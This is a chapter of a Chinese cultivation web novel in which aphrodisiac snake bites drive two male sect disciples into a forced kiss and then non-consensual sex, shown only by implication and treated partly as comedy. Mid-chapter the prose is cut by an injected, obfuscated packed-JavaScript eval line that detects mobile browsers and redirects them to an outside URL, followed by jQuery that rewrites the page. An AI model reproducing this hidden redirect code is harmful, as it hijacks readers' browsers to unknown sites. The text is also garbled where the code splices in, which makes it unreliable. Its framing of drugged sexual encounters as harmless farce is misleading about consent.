赫连霄出了丛林,黎戈还站在外面思索剑招,见他抱着一堆蛇皮也没在意,只是随口说道:“你又偷懒。”
“什么叫偷懒。偷懒是我不干活,这个叫因地制宜,我割草搓绳要干到猴年马月!”赫连霄哼了一声,就近找了块空地开始拧绳子。
筑基期强度不怎么样,但胜在干活利索。不过一炷香的时间赫连霄就拧出两条蛇皮绳,昂着脑袋拖着绳子直接往黎戈手里一拍:“给你,你要的该死的绳子。”说完转身就跑,生怕黎戈又给自己安排什么活。速度之快,连自己蹀躞上挂着的香囊掉了都不知道。
啧,黎戈嫌弃地用剑挑起地上的香囊,打算一会还给赫连霄。香囊挂在剑上,黎戈突然闻到不同于荷寒香的气息,它过分甜腻与荷寒香格格不入。黎戈低头观察,味道来源正是手上的蛇皮绳!
不好,虽然蛇皮扭在一处导致黎戈暂时分辨不出这是什么蛇,但不妨碍他立刻把绳子丢地上。
一般来说蛇是不会在意褪下来的蛇皮,只是当蛇发情时,褪下来的蛇皮多少也会沾上发情时候的气息,气味也会引导蛇过来□□。手上这两条绳子不知道用了多少蛇皮,对蛇来说不亚于黑夜烛火。
身后的草丛穿来沙沙声,黎戈耳尖注意到了,快速退了几步。一道剑光闪过,迫使声音主人漏出真面目,赫然是循着蛇皮味道过来的蛇。
大部分蛇都缠上绳子形成一个肉团,剩下的摇摇晃晃朝黎戈爬了过来。黎戈深呼吸一口气,安慰自己这不完全算赫连霄的错,一时没认出也是正常的才压住去揍赫连霄的心,随后当机立断,迅速后退闪开。
开玩笑,那么多蛇,全击杀了要多久,而且一个不注意就容易被缠上。
人算不如天算,蛇实在太多,而且对雌蛇发情的气息有着魔般的迷恋,全都不要命地往黎戈身上窜。黎戈腿上的伤还没有好利索,没跑多远一个没注意,就被蛇咬到手。
毒发迅速,黎戈直接瘫倒在地上,浑身滚烫,意识涣散。眼看又来蛇,黎戈咬着舌尖迫使自己在清醒时候扯开赫连霄的香囊,倒出里面的荷寒香粉往身上抹,这才盖住雌蛇发情的气息。雄蛇一时失了目标,迷惑地在黎戈身边乱爬,而黎戈也借着荷寒香来调息静神,尽量使自己缓解蛇毒。
罪魁祸首赫连霄走在半路,发觉身上荷寒香的气息散了一半,一摸腰部才意识到香囊丢了,连忙原路返回,结果就看见这惊悚的一幕。
赫连霄虽然常常扬言要黎戈去死,但真见人蜷缩在地上又吓得要命。随即找了根棍子把那些蛇打飞,又扛起黎戈跑出老远。
他到底还算是个修士,一棍就把蛇全挑进丛林里面不见踪影,扛起成年男子也能健步如飞。只是刚一进屋把黎戈丢床上,他心里又一惊,坏了,都不认识那是什么蛇,完全不知道该找什么解毒药。
他一咬牙,把戒指中杂七杂八的解毒丸都拿了出来,打算死马当活马医。一把攥着药靠近黎戈,轻轻推了他一下,问道:“你还活着吗?”
“滚,滚远点。”黎戈咬牙切齿地从嘴里挤出这几个字,赫连霄这个家伙,平日只爱研究草药的药性,兽类的知识可谓稀薄,更不要说看见蛇皮分辨蛇类了。
黎戈因为常年的孤寂和无聊,经常会看各种各样的手札图册打发时间,他被咬的那一刻就认出那是什么蛇。
魇欲蛇,性情胆小,无毒。可偏偏又是贪求□□的灵兽,到了发情期就会自动产生促使生物发情的唾沫。当然,对修士效果一样。大部分情况只是年轻修士结契时家中长辈担心年轻人害羞才会备一两枚经过稀释魇欲蛇药性的丹药,没有谁会抓条发情的魇欲蛇来咬自己。
黎戈平生向来自好,未曾有过这种经历,这魇欲蛇的知识不过是在本灵兽杂记中偶然窥见。他知晓大概是赫连霄乱捡雌蛇蜕下的皮才把雄蛇引了过来,可也腾不出精力去揍这个蠢货,只好让那蠢货滚的远远的,他试着靠自己去压抑情欲。
但他现在这个状态,如果说的话可以让人听清的话,那魇欲蛇就可以改名了,赫连霄凑近黎戈,问道:“你说什么?我没听清,你要不要先吃点解毒丸?算我求你,别死这啊!”
黎戈忍得难受,却见这人还不走,一张小白脸近乎贴着自己的脸在说话,他已经失去大半理智,只觉得眼前这个人嘴巴一张一合,完全听不清他在说什么。下一秒又被这个蠢货试着掰开嘴去灌药。
赫连霄的手被吓得起冷汗,碰到黎戈滚烫的脸对黎戈来说是极大的折磨,他又尽可能集中精力,打算喊出最后一声滚。然滚字还没有喊出来,嘴里已经被塞了一把苦涩的丹药。
黎戈涨红了脸,拼命往外吐药片,赫连霄却以为他是毒发要吐血,着急忙慌地伸出手捂住黎戈的唇,整个人趴在黎戈身上哀求:“你别吐,别吐,算我求你了成不成?要是你能活下来,我这辈子都不来找你麻烦了。我,我还去求我哥,给你塞进内门,以后你就是我异父异母的亲哥,我每天跟你屁股后面心甘情愿地给你端茶倒水。”
他离黎戈很近,近到黎戈可以清晰闻到他身上荷寒香的气息。这点气息杯水车薪,反而导致理智的最后一根稻草折断,黎戈猛得起身,将赫连霄罩在自己身体底下。
以为黎戈是回光返照的赫连霄来不及悲伤,黎戈就吻上了他。
?
??
!
饶是赫连霄脑子再没那根筋也该意识到什么情况了,他疯狂挣扎起来,但他这么可能和黎戈的力量相较,不过是垂死挣扎罢了。
被强吻的赫连霄来不及管是不是自己被强迫,满脑子只有完了,清醒过来的黎戈意识到强吻自己,还不得又被恶心地揍自己三顿啊。他想开口让黎戈清醒一些,但嘴被黎戈堵着压根发挥不出作用。
赫连霄彻底绝望,心里已经写好遗书。还好黎戈潜意识告诉自己身底下那个是赫连霄,不能乱来。尚且留下最后一丝神智来强迫自己不要做出出格的事情,最多只是对着赫连霄的脖颈咬了又咬。
饶是这样,赫连霄也起了一身鸡皮疙瘩,屏住呼吸不敢动弹,按照腿根传递过来的感觉,生怕一个不当心又刺激到黎戈导致自己小命不保。只敢默默忍耐。
所幸这片荒地也就只有他两个,如此旖旎情色的画面不出意外只会被两个人当人生至暗时刻永远封藏于心底。
一夜荒唐,赫连霄也不知道是不是因为憋气太狠,居然先一步急晕了过去。第二天醒来,他已经被安置在自己的床上,衣服领口的地方也被整理好。
赫连霄挣扎着爬起来,却看见黎戈坐在不远的阴影处沉着脸盯着自己看,与其说他是黑着脸,不如说是一脸绝望。
四目相对,无人发言,寂静填满整个木屋。
半晌,赫连霄才先开了口:“其实昨天什么事情都没有发生对不对,我出门搓绳子,你待在家里养伤……哈哈,真是平静而又充实的一天啊啊啊——不行,你被那种蛇咬了你就不能和我说吗?两个人滚到一起又亲又抱的难看死了!我要是知道了,给你丢安静偏僻的地方不就成了!哪里还会发生那种事情啊!”
他说着说着自己都没把自己说服,脑子里面的语言组织能力开始掐架,前言不搭后语,一会没事,一会又嗷嗷乱叫。
他瞧见黎戈还坐在阴影地方低着头不说话,又叫道:“哎!你也说句话啊行不行!胡乱瞎亲人的又不是我!”
因为这种事情难得硬气一会的赫连霄见黎戈完全没了平日那副可怕的模样,又开始本性暴露,蹭蹭跑到黎戈面前一拳打过去,骂道:“我就知道你不是个好东西!那种不要脸的事情你也做的出来,我天和宗有你这样的弟子简直是宗门不幸。”
黎戈脸色阴沉得难看。
昨日的记忆还清晰地在脑子里面重播回放,他想了又想,在自杀或者自杀间犹豫徘徊,左脸写着上吊,右脸写着自刎。
赫连霄见到他这幅模样,又噎住差点说不出话来。
要是被哪个碎嘴子的家伙瞧见了,明天满街上的小道消息就要变成纨绔疑似深夜夺人清白,次日咄咄逼人为哪般了。
这对吗?这对吗?
最后的最后,赫连霄自己也说不清该怎么解决,掐着自己下巴沉着脸低着嗓子道:“我给你三个选项,一,反正大家都兄弟,压根就不是什么事,明天就忘了;二,我什么都不知道啊,反正一觉起来就那样了,明天就忘了;三,难道魇欲蛇就没有错吗?我是人不和畜生置气,明天就忘了。你选哪个?要不都选了算了。反正明天都忘了。”
黎戈:……
大概这就是硬生生把自己先给说服的道理,赫连霄越说越觉得自己的说法实在是太对了,还知道趁这个机会给自己谋点私利。他心里清楚往后还要和黎戈呆一段时间,吃点亏但换不挨揍的保证某种意义还是很划算的。再说了,按照赫连家的渊源家学,烂桃花还没有不好好练功被同龄人甩在身后来的恐怖。
脸皮厚的好处就体现出来了,赫连霄打定注意要好好借题发挥,和缓语气道:“啊呀啊呀,我方才又想了一下,能发生那种事只能说明我们两个血气方刚,这都是平时做事太不修身养性导致的。要不你现在发个誓,以后做事文气点,只讲道理不打人。古有云,上策伐心,中策伐谋,下策伐兵,怎么能随便动用武力蛮取呢?老祖宗的智慧咱们得听啊。”
黎戈抬眸看着他,赫连霄被他看得一哆嗦,差点又往后退,但想到某种意义上自己才是占理的,又逼自己挺起胸膛显得理直气壮。
黎戈叹气,竖起三指,幽幽地说道:“我以心魔立誓,出秘境前,我都不会揍你,满意了吧。”
“不够不够。”赫连霄顺杆子往上爬,“要不你再给我把手上这个环解了,之后争做积极热情好青年,把摘草药摘灵果收庄稼修屋顶包括处理妖兽尸体以及打扫卫生的活全干了……还有你平时不能再这幅死样子,老臭着张脸算什么?和老天欠你一条命似的。”
“书里有上策伐心,中策伐谋,下策伐兵,难道没有见好就收吗?”黎戈提醒道。
赫连霄指指黎戈说道:“别忘了你扯了我的香囊!你一个杂役弟子,那批荷寒香够你两百年的月俸了。我只是让你做点杂活,你赚翻了好吗!”黎戈身上的荷寒香还没有褪去,赫连霄吸吸鼻子:“你一身荷寒香比我还浓,像话吗?”
“你身上还可能沾有魇欲蛇的气息,需要靠近丛林的活我干可以,剩下的免谈。”黎戈不为所动,却别过头不再看赫连霄,手攥得死紧,指甲要嵌进肉里。
赫连霄见他死活不肯再搭理自己,轻哼一声,坐到另外一个角落里去整理自己的手札了。
正所谓福祸相依,没几天赫连霄就把那事抛之脑后,又仗着黎戈的心魔誓胡作非为,可谓是神清气爽。
黎戈叫他往西,他就敢赖在原地一动不动,一副你能拿我怎么办的表情。
黎戈无所谓,本来使唤赫连霄就没指望赫连霄到底能怎么样。现在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411725|184620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赫连霄不听他的话,他也不恼,甚至大部分时间都神色复杂地刻意避开赫连霄,默默在屋子周围一圈撒雄黄粉。
本来等着看黎戈恼羞成怒的赫连霄浑身劲儿没地方撒,和自己自娱自乐只觉得没劲,想去骚扰黎戈玩又难得觉得不好意思。
自己一个人窜上屋顶,吹着夜风,躺在茅草堆里翘着二郎腿看挂在天上的月亮,手指着月亮划来划去,幻想自己在分一个大饼。
“呵,有什么好分的,我全吃了也不能拿我怎么样啊。”赫连霄无聊地自言自语,“说起来我哥以前还骗我说不能随手指月亮,不然月亮晚上会来割小孩耳朵。哪有的事情,我耳朵好端端的,连声音都没有听见呢。”
“咕咕咕——”
一大片漆黑的黑影突然遮住一半的月亮,投下巨大的阴影。
赫连霄一蹙眉,眯起眼看清楚那是只普通的夜枭后又躺了回去。
动物和人一但倒霉起来永远都不知道自己为什么会那么倒霉,成群结队出来找伴侣的魇欲蛇疲劳了一天好不容易找到一处庇护所正要休憩时,又被出来觅食的夜枭看见,二话不说直接一窝端了。
夜枭抓着一堆食物得意忘形,结果就挨了咬发了情,飞起来摇摇晃晃时恰好就在赫连霄上面时,没忍住松了爪子扔下大半魇欲蛇来。
这群魇欲蛇直接劈头盖脸全呼在赫连霄脸上。
赫连霄:!!!!
啊啊啊啊啊啊啊啊啊!
我艹啊!
什么报应来那么快!月亮老大,对不起,我以后再不指您了!您收了神威吧算我求求你了。
荷寒香上次已经被用光了,这回根本没有法子更没有时间去遮盖气息。嗅到雌蛇微弱的气味,发情发昏的一群雄蛇只管气息是雌蛇的不管自己到底咬了什么东西,缠着赫连霄就给他结结实实来了好几口。
他叫声太过于凄厉,黎戈还以为是野兽袭击,慌忙拔了剑出了屋子单手接住从屋顶滚下来的赫连霄,刚想问发生了什么,就和一条还缠在赫连霄身上的魇欲蛇四目相对。
黎戈:……
他低骂一声,挥剑砍死赫连霄身上的蛇,又火速击杀了所有留在屋檐上的乱七八糟的活物,把赫连霄丢屋里,从他的储物戒里摸出雄黄粉后又在屋顶上狠狠撒了好几把。
赫连霄被咬的不止一口,反应比黎戈当时要强得多,道袍被他自己扯得乱七八糟,失去衣服应当有的蔽体功能。他浑身上下湿漉漉的,像是从水里捞起来的一样。黎戈身上温度低,他就忍不住往黎戈身上缠,两只手不安分地乱摸。
黎戈一遍又一遍扯开赫连霄的手,奈何这个神志不清的家伙滑溜溜地像没骨头的泥鳅,怎么也扯不开。
纠缠一会,赫连霄干脆死抓着黎戈的领口往地上扑。
黎戈忍无可忍,攥着赫连霄的头发往上扯,试图让这人离开自己。
但看清赫连霄的那一刻,他愣住了。
被欲望折磨到快发疯的赫连霄面色潮红,眼里却是蓄满泪水,一滴一滴顺着脸颊滚落在黎戈的衣襟上,洇出水痕。
往日的倨傲不见踪影,只剩下痛苦的欢愉。他大抵忘了自己是谁,沦为欲望的奴隶,身上燃着看不见的火要把他拖进地狱。魇欲蛇的情素理应用在洞房花烛,可这里并没有他所相爱之人。他想看清身下的人,但眼睛已经朦胧一片,又能看见什么,除了一段捕捉不到的旖梦。
黎戈掐着赫连霄的脸,咬牙切齿:“赫连霄,你清醒一点,不要做蠢事。”
可赫连霄还是止不住地哭,呜咽着哀求道:“你救救我……不,你杀了我吧。我要死了。”
“你死不了,这只是魇欲蛇而已。”黎戈偏过头不想再去看他,也拒绝那双眼中传来的渴求。
赫连霄意识到哀求没有用,他需要自救。停止正常思考的他现在只追求一件事情——将自己从烈火中剥离。于是他狠狠咬在自己的伤口处,血腥味灌满口腔,他来不及恶心,一把正过黎戈的头,咬破了他的唇。
一切太突然,直到黎戈尝到腥甜味才察觉不妙,魇欲蛇的毒素残留在赫连霄的伤口处,此刻又转移到他身上。
毒素蔓延很快,黎戈瞬间红了眼,呵斥道:“赫连霄,你个蠢货!你非要做这种蠢事会后悔的。”
赫连霄却是低着头,眼里灼烧着什么炽热的东西,他还是重复低语:“求求你,救救我。”
……
这并不是一个美妙的夜晚,两个被欲望困住的人疯狂宣泄情欲,无关情爱,也无关风月,单单是笔血泪谱写的糊涂账而已。
直到第二天清醒,恢复正常的两人低着头相对坐着,谁都不想先开口。
赫连霄感到腰上全是被掐出来的疼,不过这些和那个难以启齿的部位来说,甚至可以忽略不计。作为报复,他咬得黎戈肩膀处没一块好肉,袍子下面是一片血肉模糊。
越是这样,他越不敢说话,更算不清到底是谁的孽债。心里不忿稀里糊涂和人睡了,可又清楚是自己惹出来的祸事。
种种感情拧在一处,模糊了他对事情的判断能力。过了许久,他才低低说道:“昨天的事情,就把他烂在肚子里面吧。我们两个男的也不用在意那么多。”
黎戈没有说话,仅是抬头目光晦暗不明地看着赫连霄,许久才低头,算是默认。
因为这件事,直到赫连霄做出祭祀灵石召唤出遗址,二人之间都没有再说一句话,甚至都不想看见对方。